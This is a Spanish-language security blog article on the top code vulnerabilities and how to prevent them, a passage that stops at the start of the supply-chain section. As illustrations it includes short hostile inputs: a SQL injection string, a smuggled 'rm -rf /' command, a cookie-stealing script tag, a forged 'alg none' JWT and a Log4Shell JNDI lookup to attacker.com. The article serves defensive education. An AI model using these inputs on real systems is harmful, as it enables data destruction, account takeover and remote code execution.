Aikido

Las 10 principales vulnerabilidades de seguridad en el código encontradas en aplicaciones modernas

Escrito por
Ruben Camerlynck

Principales Vulnerabilidades de Seguridad del Código

Introducción: En el panorama actual del software, la seguridad del código es una preocupación crítica. 2025 ha batido récords de vulnerabilidades divulgadas: más de 21.500 CVEs solo en la primera mitad del año. Los atacantes no pierden el tiempo explotando estas fallas, a menudo a las pocas horas de su divulgación. Lo más sorprendente es que muchas de estas no son nuevos 0-days exóticos, sino los mismos errores de siempre que los desarrolladores han cometido durante décadas. Es casi vergonzoso: el cross-site scripting y la inyección SQL siguen proliferando en los CVEs recién reportados, subrayando que las prácticas de codificación segura no están a la altura. Esto debería preocupar a cada equipo de desarrollo, porque las explotaciones de vulnerabilidades representan ahora el 20% de las brechas, casi superando a las credenciales robadas como principal vector de ataque inicial.

Figura: El número de vulnerabilidades de software está alcanzando máximos históricos, con un promedio de 133 nuevos CVEs reportados cada día en 2025. Más de un tercio de estos se clasifican como Altos o Críticos, haciendo que la aplicación de parches a tiempo y la codificación segura sean más cruciales que nunca.

¿Por qué es esto importante? Porque un solo descuido en la codificación puede deshacer millones de dólares en inversiones de seguridad. Por ejemplo, en 2024, una brecha en el Tesoro de EE. UU. se rastreó hasta nada más que una clave API filtrada. Y todos hemos visto cómo una inyección SQL trivial o una comprobación de autenticación faltante puede llevar a fugas de datos catastróficas. El código seguro importa ahora más que nunca. No es solo problema del equipo de seguridad; comienza con nosotros, los desarrolladores, escribiendo código más seguro desde el principio y utilizando herramientas para detectar problemas temprano.

En este artículo, desglosaremos las principales vulnerabilidades de seguridad a nivel de código que afectan a las aplicaciones modernas. Estas incluyen errores clásicos en tu propio código (piensa en secretos codificados o fallos de validación de entrada), así como CVEs reales en las bibliotecas y frameworks de código abierto en los que confías. Para cada vulnerabilidad, explicaremos cómo funciona, daremos un ejemplo real, discutiremos su impacto y proporcionaremos consejos prácticos para prevenirla. También destacaremos cómo las herramientas de seguridad centradas en el desarrollador como Aikido pueden ayudar a detectar o incluso a corregir automáticamente estos problemas antes de que lleguen a producción.

¿Qué son las vulnerabilidades de seguridad del código?

Una vulnerabilidad de seguridad del código es cualquier debilidad en el código fuente de una aplicación que un atacante puede explotar para comprometer la confidencialidad, integridad o disponibilidad. Esto abarca desde errores simples (por ejemplo, usar eval en entradas no saneadas) a fallos sutiles en bibliotecas de terceros (por ejemplo, un error de análisis que lleva a la ejecución remota de código). En resumen, si facilita el trabajo de un atacante, es una vulnerabilidad de código.

Estas debilidades se extienden a través de lenguajes y pilas tecnológicas, ya sea que estés escribiendo JavaScript/TypeScript, Python, Go, Java o cualquier otro. Una vulnerabilidad podría permitir a un atacante inyectar código malicioso, robar datos sensibles, escalar privilegios o bloquear tu sistema. Muchas de estas fallas se catalogan como CVEs (Common Vulnerabilities and Exposures) una vez descubiertas en software popular. Otras podrían ser errores lógicos únicos en tu propio código. El hilo conductor es que surgen de prácticas de codificación inseguras o suposiciones pasadas por alto.

Con esto en mente, examinemos algunas de las vulnerabilidades a nivel de código más prevalentes y peligrosas que afectan a los desarrolladores hoy en día. La siguiente lista combina errores comunes de los desarrolladores con CVEs reales de proyectos de código abierto. Cada uno representa una amenaza práctica que puede conducir a graves brechas si no se aborda.

Las 10 principales vulnerabilidades de seguridad del código (y cómo solucionarlas)

1. Secretos Hardcodeados en el Código

Dejar secretos sensibles incrustados en el código es un error crítico pero común. Hardcodear claves API, credenciales, claves de cifrado o tokens en tu código fuente significa que si un adversario ve ese código (piensa en un repositorio público o un artefacto filtrado), obtendrá acceso instantáneo a esos secretos. Incluso en repositorios privados, las credenciales pueden filtrarse accidentalmente, y una vez filtradas, a menudo siguen siendo utilizables durante años. De hecho, el informe de 2025 de GitGuardian reveló que 23,8 millones de secretos fueron expuestos en GitHub en 2024 (un aumento del 25% respecto al año anterior). Peor aún, el 70% de los secretos filtrados en 2022 seguían siendo válidos en 2025, lo que da a los atacantes un amplio margen para explotarlos.

Las brechas de seguridad en el mundo real subrayan el impacto. Por ejemplo, en 2024, atacantes vulneraron un sistema del Departamento del Tesoro de EE. UU. explotando una única clave API hardcodeada para una plataforma de autenticación. Con una sola clave, sortearon capas de controles de seguridad como si fueran un usuario autorizado. De manera similar, muchas brechas en la nube comienzan cuando un desarrollador sube inadvertidamente credenciales de la nube o contraseñas de bases de datos a un repositorio. Una vez que un atacante las encuentra, se acabó el juego: pueden iniciar sesión como tú y suplantar tus servicios.

Impacto: Los secretos expuestos pueden conducir a un acceso no autorizado inmediato a bases de datos, cuentas en la nube, pasarelas de pago o APIs de terceros. Un atacante con una clave AWS filtrada, por ejemplo, podría desplegar infraestructura, exfiltrar datos o generar facturas enormes. El coste medio de las brechas que implican credenciales comprometidas es de 4,5 millones de dólares, y son las que más tardan en detectarse y contenerse porque el atacante tiene, en esencia, acceso válido.

Prevención/Remediación: Trata los secretos como las granadas vivas que son; nunca los codifiques directamente en tu código o Dockerfiles. Usa variables de entorno, gestión de configuración o bóvedas de secretos dedicadas para inyectar secretos en tiempo de ejecución. Implementa el escaneo automatizado de secretos en tu pipeline de CI/CD para detectar cualquier credencial que se cuele. (Existen soluciones que proporcionan una función de detección de secretos en vivo para bloquear que los secretos sean commiteados). Por ejemplo, la plataforma de Aikido incluye escaneo de secretos que marcaría una clave API en un commit y te alertaría o incluso evitaría el push. Una vez que un secreto está expuesto, asume que está comprometido: rótalo inmediatamente e invalida el antiguo. Practicando una buena higiene de secretos y escaneo, puedes evitar entregar a los atacantes las llaves de tu reino.

2. Ataques de Inyección (SQL e Inyección de Comandos)

Las vulnerabilidades de “inyección” son un clásico atemporal y siguen siendo increíblemente prevalentes. En un ataque de inyección de código, la entrada no confiable se interpreta como código o comandos, permitiendo al atacante alterar el comportamiento previsto. Las dos variantes más notorias son la inyección SQL y la inyección de comandos del sistema operativo.

  • Inyección SQL (SQLi): Se produce cuando la entrada del usuario se concatena en una consulta SQL sin una validación o parametrización adecuadas. Los atacantes pueden elaborar entradas como ' OR 1=1-- para manipular la lógica de la consulta. Esto puede permitirles volcar bases de datos enteras o modificar datos expandiendo la cláusula WHERE de la consulta o terminándola y añadiendo un nuevo comando. A pesar de ser una vulnerabilidad de libro de texto de los años 2000, SQLi sigue siendo generalizada; fue el segundo patrón de vulnerabilidad más común en CVEs en 2025. Por ejemplo, el infame “Bobby Tables” de XKCD broma es divertida hasta que te das cuenta de que empresas reales todavía son comprometidas por ella. Ha habido brechas de alto perfil donde una simple inyección SQL en un formulario de inicio de sesión llevó al robo de millones de registros de clientes.
  • Inyección de Comandos del Sistema Operativo: En este caso, la aplicación toma la entrada del usuario y la inserta en un comando del sistema o en una llamada de ejecución de shell. Por ejemplo, una aplicación Python podría hacer os.system("ping " + user_input). Un atacante podría proporcionar una entrada como 8.8.8.8 && rm -rf / para ejecutar un segundo comando malicioso. Ha habido CVEs en frameworks web y utilidades que, inadvertidamente, permitieron que dicha entrada generara shells. Esencialmente, si un atacante puede inyectar un ; o && en una cadena de comandos, pueden ejecutar comandos de sistema arbitrarios con los privilegios de la aplicación.

Ejemplo: Un incidente notable en el mundo real fue la vulnerabilidad Drupalgeddon2 (CVE-2018-7600) en el CMS Drupal, que era esencialmente un fallo de inyección que permitía la ejecución remota de código a través de solicitudes manipuladas. Otro ejemplo: en 2022, una gran empresa vio sus datos internos borrados porque una herramienta de administración concatenó la entrada del usuario en un comando de PowerShell; un atacante pasó un comando para deshabilitar servicios de seguridad y eliminar datos. Estos casos demuestran que la inyección puede llevar directamente a un compromiso total del sistema.

Impacto: La inyección SQL puede exponer o corromper datos sensibles (registros de usuarios, información financiera) y a menudo permite un pivoteo de red más profundo a través de procedimientos almacenados de la base de datos. La inyección de comandos casi siempre produce una Ejecución Remota de Código (RCE), permitiendo a los atacantes ejecutar cualquier código en el servidor, lo que podría llevar a tomar el control total del host. Los fallos de inyección son altamente críticos; pueden socavar una aplicación y su servidor subyacente.

Prevención: El mantra es nunca confíes en la entrada del usuario. Utiliza sentencias preparadas (consultas parametrizadas) para el acceso a la base de datos; esto asegura que los datos del usuario sean tratados estrictamente como datos, no como SQL ejecutable. Por ejemplo, en Python utiliza marcadores de posición de parámetros con cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) en lugar de formateo de cadenas. Para lenguajes como JavaScript, usa librerías ORM/QueryBuilder que parametricen las consultas por ti. De manera similar, evita construir comandos de shell a partir de fragmentos de entrada del usuario. Si necesitas invocar comandos del sistema, usa llamadas seguras a librerías o al menos una lista blanca de entradas aceptables. Valida y sanea las entradas; por ejemplo, si una entrada debe ser un ID, asegúrate de que sea numérica y esté dentro del rango esperado. La validación de entrada no es infalible por sí sola, pero es una capa importante.

Además, emplea herramientas de pruebas de seguridad. El análisis estático de código a menudo puede detectar patrones de inyección obvios (como la concatenación de cadenas en llamadas SQL). el escáner SAST de Aikido, por ejemplo, marcaría el riesgo os.system(user_input) llamada o consulta SQL no parametrizada como una posible inyección. En el lado preventivo, los Firewalls de Aplicaciones Web (WAFs) pueden bloquear algunos intentos de inyección, pero son una red de seguridad; el objetivo es corregir el código. Recuerda, los fallos de inyección persisten porque son fáciles de introducir y a veces difíciles de detectar. La revisión de código, la formación de desarrolladores y los escaneos automatizados son tus aliados aquí.

3. cross-site scripting (XSS)

El cross-site scripting es otro favorito perenne en el arsenal del atacante. En un ataque XSS, una aplicación web incluye inadvertidamente código de script malicioso proporcionado por un atacante en las páginas enviadas a otros usuarios. El navegador de la víctima ejecuta ese script, lo que lleva a sesiones secuestradas, sitios desfigurados o malware entregado al usuario. XSS se presenta en varias modalidades (almacenado, reflejado, basado en DOM), pero en su esencia suele ser una falla en la correcta sanitización o codificación de la salida en la interfaz de usuario.

A pesar del auge de los frameworks frontend modernos, XSS sigue siendo el patrón de vulnerabilidad web más frecuente. En el primer semestre de 2025, el cross-site scripting fue la debilidad más común observada en los nuevos CVEs. Esto se debe en parte a que incluso pequeños descuidos en la sanitización pueden introducir XSS en plataformas que de otro modo serían seguras. Por ejemplo, una nueva vulnerabilidad de Angular revelada en 2025 (CVE-2025-66412) reveló que ciertos atributos SVG y MathML no estaban cubiertos por el sanitizador predeterminado de Angular, permitiendo que URLs JavaScript maliciosas se colaran. En aplicaciones que utilizan versiones de Angular afectadas, un atacante podría crear una carga útil que, al renderizarse, ejecuta scripts arbitrarios en los navegadores de los usuarios, ¡un XSS almacenado en lo que se supone que es un framework seguro!

Ejemplo: Un ejemplo clásico es una sección de comentarios donde los usuarios pueden publicar texto. Si la aplicación simplemente vuelve a mostrar ese texto en las páginas sin codificar, un atacante podría publicar un comentario como <script>stealCookies()</script>. Cada usuario que viera ese comentario ejecutaría sin saberlo el script del atacante, que podría, por ejemplo, enviar su token de sesión al atacante. Ha habido incidentes reales en sitios de alto perfil donde el XSS en perfiles de usuario o foros llevó al secuestro masivo de cuentas. Incluso en 2023, los investigadores encontraron XSS en varios plugins y aplicaciones web; por ejemplo, un XSS reflejado en un popular portal de soporte empresarial permitió a un atacante ejecutar código engañando a un usuario de soporte para que hiciera clic en un enlace malicioso.

Impacto: El impacto del XSS es típicamente la suplantación de identidad y el robo de datos en el lado del cliente. Los atacantes pueden robar cookies de sesión, lo que les permite suplantar a usuarios (incluidos los administradores). Pueden realizar acciones como el usuario (como cambiar la configuración de la cuenta), mostrar formularios de inicio de sesión falsos (phishing) o incluso propagar gusanos (un XSS que se publica en otras páginas). Aunque el XSS no compromete directamente el servidor, pone a sus usuarios en grave riesgo y puede desfigurar su aplicación. En algunos casos, el XSS puede ser un paso hacia ataques adicionales (por ejemplo, pivotar al navegador de un administrador para obtener acceso al backend).

Prevención: La regla de oro es sanitizar la entrada y codificar la salida. Para cualquier dato que pueda incluir caracteres especiales HTML, asegúrese de que esté correctamente escapado o sanitizado antes de insertarlo en la página. Los frameworks modernos como React, Angular y Vue tienen defensas XSS incorporadas (por ejemplo, auto-escapado o DomPurify para HTML peligroso); úselas según lo previsto y evite eludir esas salvaguardas. Si está construyendo HTML manualmente, use bibliotecas de plantillas que auto-escapen o llamen explícitamente a funciones de codificación. Emplee una política de seguridad de contenido (CSP) para mitigar el daño (CSP puede restringir qué scripts pueden ejecutarse). Actualice regularmente las bibliotecas frontend; como se ha visto con los CVEs de XSS de Angular de 2025, los frameworks sí parchean las brechas de sanitización.

Desde la perspectiva de las herramientas, analizadores estáticos pueden encontrar algunos problemas de XSS rastreando flujos de datos no saneados. El escaneo de código de Aikido, por ejemplo, puede alertarte si la entrada del usuario va directamente a innerHTML o una plantilla sin Escape. El escaneo dinámico (DAST) también puede detectar XSS intentando inyectar scripts durante las pruebas. Combina esto con una revisión exhaustiva del código (imagina la mentalidad de un atacante al revisar cualquier código que maneje HTML). La clave es la vigilancia: el XSS a menudo se cuela por ese «pequeño campo» que alguien olvidó escapar.

4. Falsificación de Peticiones en Sitios Cruzados (CSRF)

La falsificación de peticiones en sitios cruzados es un poco diferente de los otros problemas aquí – es más una vulnerabilidad de diseño que un error de código directo, pero es muy relevante para las aplicaciones web. CSRF permite a un atacante engañar al navegador de una víctima para que realice acciones no autorizadas en una aplicación web en la que la víctima está autenticada. En esencia, el atacante «se aprovecha» de la sesión de la víctima enviando una petición falsificada desde el navegador de la víctima a la aplicación objetivo.

¿Cómo ocurre esto? Imagina que un usuario ha iniciado sesión en el sitio web de su banco. La función de transferencia de dinero del banco es una simple petición POST para transferir dinero. Si el sitio del banco no está protegido contra CSRF, un atacante podría enviar por correo electrónico a ese usuario una página HTML maliciosa que contenga un formulario oculto o un script que realice automáticamente esa petición POST (utilizando las cookies del usuario). El banco ve una cookie de sesión válida del usuario y procesa la petición – transfiriendo dinero al atacante, todo sin el conocimiento del usuario.

CSRF es bien conocido desde hace años, sin embargo, sigue apareciendo con frecuencia (estuvo entre las 5 principales categorías de debilidades en los CVE de 2025). A menudo surge cuando los desarrolladores construyen APIs o acciones de formulario sin incluir tokens CSRF u otras medidas anti-falsificación. Incluso los frameworks experimentados pueden tener errores de lógica: por ejemplo, se descubrió una vulnerabilidad de Angular en 2025 donde la protección XSRF de Angular trató erróneamente algunas URLs de dominio cruzado como del mismo origen, lo que provocó que adjuntara el token del usuario a peticiones controladas por el atacante. Este tipo de fallo podría habilitar CSRF al filtrar o usar indebidamente los tokens.

Impacto: Un ataque CSRF exitoso puede obligar a los usuarios a realizar cualquier acción que cambie el estado y que su cuenta tenga permitido hacer: actualizar detalles de la cuenta, realizar compras, cambiar su contraseña, incluso escalar privilegios si dicha funcionalidad existe. Esencialmente, el atacante se aprovecha de la sesión autenticada de la víctima. Cabe destacar que los ataques CSRF se dirigen a acciones, no directamente al robo de datos (para eso está el XSS), pero las acciones pueden ser igual de dañinas (transacciones financieras, modificaciones de datos, etc.). Muchos exploits CSRF de alto perfil han permitido a los atacantes, por ejemplo, cambiar la configuración DNS de un router desde dentro, o publicar contenido no deseado en nombre de un usuario en redes sociales.

Prevención: La defensa estándar es incluir un token anti-CSRF con cada transacción sensible. Frameworks como Django, Rails, Spring, etc., tienen mecanismos de token CSRF incorporados; úsalos. El token es un valor aleatorio que el sitio de un atacante no puede obtener, y el servidor solo aceptará peticiones que tengan el token correcto (normalmente enviado como un campo de formulario oculto o una cabecera). En aplicaciones modernas, si estás construyendo un backend de API puro, puedes usar estrategias como requerir una cabecera personalizada (p. ej., X-Requested-With) o cookies de mismo sitio configuradas en Strict/Lax para mitigar CSRF. Asegúrate de que tus cookies estén marcadas como SameSite=Lax o Strict para que los navegadores no las incluyan en peticiones de origen cruzado por defecto (esto se ha convertido en una defensa moderna clave). Además, ten precaución con las configuraciones CORS – no permitas que el dominio de un atacante envíe peticiones privilegiadas a través de CORS a menos que sea absolutamente intencionado.

La mayoría de los frameworks web gestionan el CSRF por ti si lo habilitas correctamente. Asegúrate de que no esté deshabilitado accidentalmente. Durante las pruebas, intenta algunos escenarios de CSRF: ¿se puede activar una acción simplemente visitando un enlace externo o cargando una imagen? Si la respuesta es sí, tienes un problema. Afortunadamente, el CSRF es prevenible con las prácticas adecuadas. Las pruebas de seguridad de Aikido también pueden simular intentos de CSRF como parte de las pruebas de penetración. Además, considera acciones críticas multifactor (para que, incluso si el CSRF activa la acción, se necesite un segundo factor para completarla). En general, nunca asumas que una solicitud proviene de una fuente genuina; valídala.

5. autenticación rota y control de acceso

Las vulnerabilidades de autenticación rota y control de acceso se refieren a lo que ocurre cuando tu aplicación no impone correctamente quién puede hacer qué. Esta categoría es consistentemente el riesgo más crítico en el Top 10 OWASP. Esencialmente, son fallos que permiten a los atacantes eludir la autenticación o elevar sus privilegios explotando lagunas en tu lógica de autorización.

Un subconjunto es autenticación rota – problemas como permitir contraseñas débiles, no aplicar bloqueos en intentos de fuerza bruta o una gestión de sesiones defectuosa (por ejemplo, IDs de sesión predecibles o que no caducan). Un ejemplo histórico famoso fue un problema en el que algunas aplicaciones aceptaban un JWT con el algoritmo “none” como válido, lo que significaba que un atacante podría falsificar un token con { "alg": "none", "user": "admin" } y el sistema lo aceptaría como un inicio de sesión de administrador (esto resultó de que las librerías no verificaban correctamente los tokens, un problema descubierto alrededor de 2015). Más recientemente, configuraciones erróneas como dejar credenciales de administrador predeterminadas o usar contraseñas codificadas (lo que se relaciona con los secretos) son fallos de autenticación comunes.

El otro subconjunto (y posiblemente más desenfrenado) es control de acceso roto. Esto se trata de no verificar correctamente los permisos de usuario. Por ejemplo, una aplicación podría permitir una URL como /user/profile?userId=1234. Si puedo cambiar el userId al ID de otra persona y ver o modificar sus datos, eso es un IDOR (Insecure Direct Object Reference), un fallo clásico de control de acceso. Esto se destacó como CWE-862 "Missing Authorization" en muchos CVEs. Es increíblemente común: muchas filtraciones de alto perfil comienzan con alguien que encuentra un endpoint de API que no verifica el privilegio del solicitante. Un ejemplo real: un sistema de RRHH empresarial tenía una función de "exportar todos los registros de empleados" destinada a los gerentes de RRHH. Debido a una verificación faltante, cualquier empleado con sesión iniciada podía invocarla si conocía la URL, lo que resultó en una filtración de datos de miles de registros.

Impacto: Una autenticación rota puede permitir a los atacantes hacerse pasar por otros usuarios (incluidos los administradores) o utilizar los privilegios de otro usuario. Un control de acceso roto puede exponer datos sensibles (si puedes acceder a los registros de otra persona) o incluso permitir cambios de estado maliciosos (por ejemplo, usuarios normales realizando acciones solo de administrador). Los peores escenarios incluyen la toma completa de cuentas, fugas de datos u operaciones no autorizadas en todo el sistema. Por ejemplo, una verificación de administrador faltante podría permitir a un atacante crear nuevos usuarios administradores o descargar todos los datos de los clientes. Es fácil ver por qué esto se clasifica como el riesgo número 1: socava el principio de seguridad fundamental de garantizar que cada usuario solo pueda hacer lo que se supone que debe hacer.

Prevención: Esto se reduce al rigor en la implementación de tu autenticación y autorización:

  • Autenticación: Utiliza frameworks probados para el inicio de sesión y la gestión de sesiones; no desarrolles tu propia autenticación si puedes evitarlo. Aplica políticas de contraseñas robustas y usa autenticación multifactor para cuentas sensibles. Asegúrate de hashear correctamente las contraseñas (usa hashes adaptativos fuertes como bcrypt o Argon2, no MD5 simple). Implementa el bloqueo de cuentas o la limitación de velocidad en los intentos de inicio de sesión para frustrar la fuerza bruta. Para los tokens de sesión, hazlos largos, aleatorios y, si usas JWTs, verifica siempre las firmas y las claims (y rechaza el algoritmo "none" u otras configuraciones inseguras). Considera usar librerías para manejar la verificación de JWT y el almacenamiento de sesiones de forma segura.
  • Control de acceso: Sigue el principio de mínimo privilegio en el diseño de tu aplicación. En el lado del servidor, cada solicitud a un recurso protegido debe realizar una verificación de autorización: por ejemplo, si el usuario 123 solicita /accounts/456, el código debe verificar que el usuario 123 tiene permiso para acceder al recurso 456. Utiliza frameworks de control de acceso basado en roles o basado en atributos siempre que sea posible. A menudo es útil centralizar la lógica de autorización para que no esté dispersa en un millón de condicionales fáciles de olvidar. Al usar frameworks como Django, Rails, Spring Security, etc., aprovecha sus anotaciones o middleware de control de acceso integrados. En las API REST, evita depender únicamente de la aplicación del lado del cliente (como ocultar botones de administrador en la interfaz de usuario); siempre aplícala también en el backend.

Durante el desarrollo y las pruebas, piensa como un atacante: intenta la manipulación de URL, intenta acceder a los ID de otros usuarios o realiza acciones fuera de tu rol. Herramientas como las pruebas de seguridad de Aikido (o pentesting manual) pueden ayudar a identificar estos problemas escaneando patrones IDOR comunes o autenticación faltante en los endpoints. Algunas herramientas de análisis estático también pueden detectar bypasses codificados o condiciones siempre verdaderas en la lógica de autenticación.

En el código, nunca asuma la «seguridad por oscuridad» (es decir, que nadie encontrará ese endpoint de administración oculto). En su lugar, asegúrese de que, incluso si lo encuentran, no puedan usarlo sin las credenciales adecuadas. El registro y las alertas también son clave: si alguien accede repetidamente a recursos a los que no debería, querrá saberlo. En resumen: autentique todo, autorice cada acción.

6. Deserialización Insegura

Las vulnerabilidades de deserialización ocurren cuando una aplicación acepta datos serializados (piense en blobs binarios o JSON/XML que representan objetos) de una fuente no confiable y los deserializa sin las salvaguardias adecuadas. Si los datos se manipulan maliciosamente, esto puede resultar en que el programa instancie objetos inesperados o ejecute código controlado por el atacante. En lenguajes como Java, Python y .NET, la deserialización insegura ha provocado numerosas CVEs y exploits críticos.

Un ejemplo reciente de alto perfil es React2Shell (CVE-2025-55182), una RCE crítica en React Server Components descubierta a finales de 2025. Se originó a partir de una deserialización insegura en el protocolo “Flight” de RSC; esencialmente, una carga útil malformada enviada a una aplicación Next.js/React podría manipular la lógica de deserialización del servidor y lograr la ejecución remota de código. Lo que hace esto particularmente aterrador es que las configuraciones predeterminadas eran vulnerables (una aplicación estándar de Next.js podría ser explotada sin cambios de código por parte del desarrollador). Fue un ataque no autenticado que solo requería una solicitud HTTP manipulada al servidor, y el código de exploit se hizo público, lo que llevó a exploits activos en la naturaleza en cuestión de días. Esto demuestra cómo los fallos de deserialización pueden acechar incluso en frameworks modernos.

En Java, un caso infame fue la explotación de Apache Commons Collections en 2015: muchas aplicaciones empresariales utilizaban bibliotecas que deserializaban automáticamente objetos Java de la entrada del usuario (como en cookies HTTP o datos SOAP). Los atacantes descubrieron que podían incluir un objeto serializado de una clase maliciosa que, al ser construida, ejecutaría comandos. Esto llevó a RCEs en aplicaciones como Jenkins, WebLogic, etc. (Múltiples CVEs como CVE-2017-9805 en Struts y otras en WebLogic abordaron estos problemas). Python tampoco es inmune, utilizando pickle.loads en entradas no confiables es, básicamente, otorgar poderes de ejecución de código a la entrada. Incluso formatos de datos aparentemente seguros pueden ser arriesgados: los parsers de YAML en Python y Ruby tenían vulnerabilidades que podían ser forzadas a ejecutar comandos al cargar YAML especialmente diseñado.

Impacto: La deserialización insegura es a menudo un camino hacia ejecución remota de código. Como mínimo, puede permitir la manipulación de datos o la inyección de objetos no deseados. Un atacante puede instanciar clases u objetos del sistema con efectos secundarios maliciosos. Por ejemplo, en Java podrían usar clases 'gadget' (objetos cuyo readObject método tiene un comportamiento pernicioso) para abrir un reverse shell. En Python, un pickle malicioso podría importar el os módulo y ejecutar comandos del sistema. El impacto suele ser un compromiso total de la aplicación, y posiblemente del host, porque el código se ejecuta dentro del proceso de la aplicación.

Prevención: En primer lugar, evite serializar y deserializar formatos de datos sensibles o arbitrarios de fuentes no confiables siempre que sea posible. Si necesita intercambiar datos con el cliente, utilice formatos más sencillos como JSON y analice/valide el contenido manualmente en lugar de la serialización de objetos del lenguaje nativo. Para lenguajes que requieren deserialización (por ejemplo, al recibir objetos complejos), utilice bibliotecas que admitan un modo seguro o una lista blanca de clases. Por ejemplo, el de Java ObjectInputStream puede restringirse a ciertas clases mediante un filtro de validación (disponible en versiones recientes del JDK). Del mismo modo, para Python, prefiera json o si debe usar YAML, utilice safe_load en lugar de cargar (para evitar la instanciación potencial de objetos).

Muchos frameworks han abordado vectores de deserialización conocidos: por ejemplo, deshabilitando valores predeterminados peligrosos. Asegúrese de mantener esas librerías actualizadas. La vulnerabilidad de React mencionada anteriormente se solucionó con parches para Next.js y React; la actualización a estos es crítica. El análisis de dependencias le alertará sobre dichas CVEs para que pueda aplicar parches rápidamente.

En el lado del código, trate la deserialización como la carga de un archivo de una fuente no confiable – nunca confíe en su contenido. Implemente comprobaciones de integridad o firmas para los datos serializados si es posible (para que solo el servidor pueda producir objetos serializados válidos). Si utiliza algo como JWTs u otros tokens, prefiera formatos estándar con validación incorporada. El SAST de Aikido puede ayudar a señalar el uso de funciones inseguras (por ejemplo, puede advertir si detecta pickle.loads en datos que no son obviamente confiables). Y si es absolutamente necesario aceptar objetos serializados, considere ejecutar esa lógica en un entorno aislado con privilegios limitados.

En resumen: sea extremadamente cauteloso con la deserialización. La comodidad de convertir bytes en objetos de forma «automágica» no compensa el riesgo de seguridad a menos que esté muy estrictamente controlada.

7. Uso de dependencias vulnerables y obsoletas

Las aplicaciones modernas dependen en gran medida de librerías y frameworks de código abierto. La desventaja es que, si no las mantiene actualizadas, es probable que albergue vulnerabilidades conocidas en su base de código. El uso de componentes vulnerables u obsoletos es tan frecuente que OWASP lo incluyó en la categoría más amplia de «Cadena de Suministro de Software» en 2025. Una sola librería obsoleta puede hacer que su aplicación sea explotable, incluso si su propio código es impecable.

El ejemplo paradigmático es Log4Shell (CVE-2021-44228) en Log4j 2. Esta fue una vulnerabilidad RCE crítica en una librería de logging Java extremadamente popular, revelada a finales de 2021. Permitía a los atacantes enviar una cadena especialmente diseñada (${jndi:ldap://attacker.com/a}) en cualquier mensaje de registro; si una versión vulnerable de Log4j registraba esa cadena, realizaría una búsqueda JNDI en el servidor del atacante y cargaría código malicioso. ¿El resultado? Un atacante podría ejecutar código arbitrario en el servidor, activado por un evento de registro. Log4Shell estuvo en todas partes – millones de aplicaciones se vieron afectadas porque Log4j estaba incrustado en innumerables productos Java. Las empresas pasaron semanas actualizando frenéticamente Log4j a la versión 2.17+ para solucionarlo. Este único error de dependencia fue calificado como una de las vulnerabilidades de internet más graves en años.

Y hay muchos más ejemplos: el bug Heartbleed en OpenSSL (2014) dejó las comunicaciones expuestas, los fallos de deserialización de Jackson-databind (varios CVEs en 2017-2019) dieron a los atacantes RCE a través del procesamiento JSON, una vulnerabilidad en la librería Python urllib3 (CVE-2020-26137) permitió el bypass de certificados HTTPS bajo ciertas condiciones, etc. En el mundo JavaScript, ¿quién puede olvidar los problemas de Prototype Pollution en Lodash y jQuery (ej., CVE-2019-10744)? Los atacantes podían manipular el prototipo de un objeto a través de una entrada maliciosa, lo que potencialmente causaba estragos en la aplicación. Si estás utilizando una versión desactualizada de un paquete popular, es probable que sus vulnerabilidades sean de conocimiento público. Los atacantes ciertamente las conocen e intentarán explotar aplicaciones que no se hayan parcheado.

Impacto: El impacto varía según la vulnerabilidad de la librería, pero puede ser tan grave como la ejecución remota de código, la fuga de datos o el compromiso total. Usando el ejemplo de Log4Shell – si tenías un Log4j antiguo, un atacante podría ejecutar código de forma remota en tus servidores simplemente enviando la cadena correcta (eso es lo peor que puede pasar). Un framework web desactualizado podría permitir XSS o SQLi en tu sitio incluso si tu propio código es correcto. Una librería de criptografía vulnerable podría romper el cifrado en el que confías. Esencialmente, tu seguridad es tan fuerte como el eslabón más débil de tus dependencias. Los atacantes a menudo escanean en busca de versiones de software específicas a través de encabezados o rutas de archivo conocidas para identificar objetivos explotables.

Prevención: Mantente al día con las actualizaciones. Esto es más fácil de decir que de hacer (en proyectos grandes con muchas dependencias, las actualizaciones constantes pueden ser una tarea tediosa), pero es no negociable para la seguridad. Utilice herramientas de gestión de dependencias que puedan mostrarle las actualizaciones disponibles y reserve tiempo regularmente para aplicarlas. Aproveche las herramientas de análisis de composición de software (SCA) que le alertarán si su proyecto está incorporando una biblioteca con una CVE conocida. Por ejemplo, si hay una vulnerabilidad crítica en lodash 4.17.19 y usted está utilizando eso, una herramienta SCA lo marcaría y sugeriría actualizar a 4.17.21. Muchos registros de paquetes también publican avisos de seguridad; utilice las herramientas de auditoría adecuadas para su ecosistema como parte de su proceso de CI.

Más allá de las alertas, algunas herramientas modernas pueden incluso AutoFix estos problemas, actualizándole automáticamente a versiones seguras. Algunas plataformas pueden detectar paquetes vulnerables y proponer la actualización de versión mínima que parchea la CVE (e incluso abrir una pull request por usted). Siempre pruebe después de las actualizaciones, pero no permita que el miedo a los cambios disruptivos le mantenga en una versión antigua vulnerable; el riesgo de una brecha a menudo supera el riesgo de una actualización menor en la mayoría de los casos.

Además, minimice las dependencias cuando sea posible (menos bibliotecas significan menos vulnerabilidades potenciales) y favorezca las bibliotecas con mantenimiento activo. Si un proyecto parece abandonado y tiene problemas conocidos, considere alternativas. Esté atento a las fuentes de seguridad para detectar vulnerabilidades críticas en la tecnología que utiliza. Esencialmente, trate la gestión de dependencias como parte de su postura de seguridad, no solo como una tarea de DevOps. El objetivo es cerrar los agujeros conocidos antes de que los atacantes los exploten.

8. Dependencias Maliciosas o Comprometidas (Ataques a la Cadena de Suministro)

Relacionado con el uso de componentes desactualizados, pero aún más insidioso, son los ataques a la cadena de suministro de software, cuando los atacantes envenenan el pozo inyectando código malicioso en los paquetes de terceros que usted utiliza. En lugar de esperar una vulnerabilidad, el atacante crea una manipulando sigilosamente una biblioteca (o publicando una falsa) que los desarrolladores luego incorporan a sus proyectos. Esta forma de ataque ha aumentado en los últimos años, especialmente en ecosistemas como npm y PyPI.

